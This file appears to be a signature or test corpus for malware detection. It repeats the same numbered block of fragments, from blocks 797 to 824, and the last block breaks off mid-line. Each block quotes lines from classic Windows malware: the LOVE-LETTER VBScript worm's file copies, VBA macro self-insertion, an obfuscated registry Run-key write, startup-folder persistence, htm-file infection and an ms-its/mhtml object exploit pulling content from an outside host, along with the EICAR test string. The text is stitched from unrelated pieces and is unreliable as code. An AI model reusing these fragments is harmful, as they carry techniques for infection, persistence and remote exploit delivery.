 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

797

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

798

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

799

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

800

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

801

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

802

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

803

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

804

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

805

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

806

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

807

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

808

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

809

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

810

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

811

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

812

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

813

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

814

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

815

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

816

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

817

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

818

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

819

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

820

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

821

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

822

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

823

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

824

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
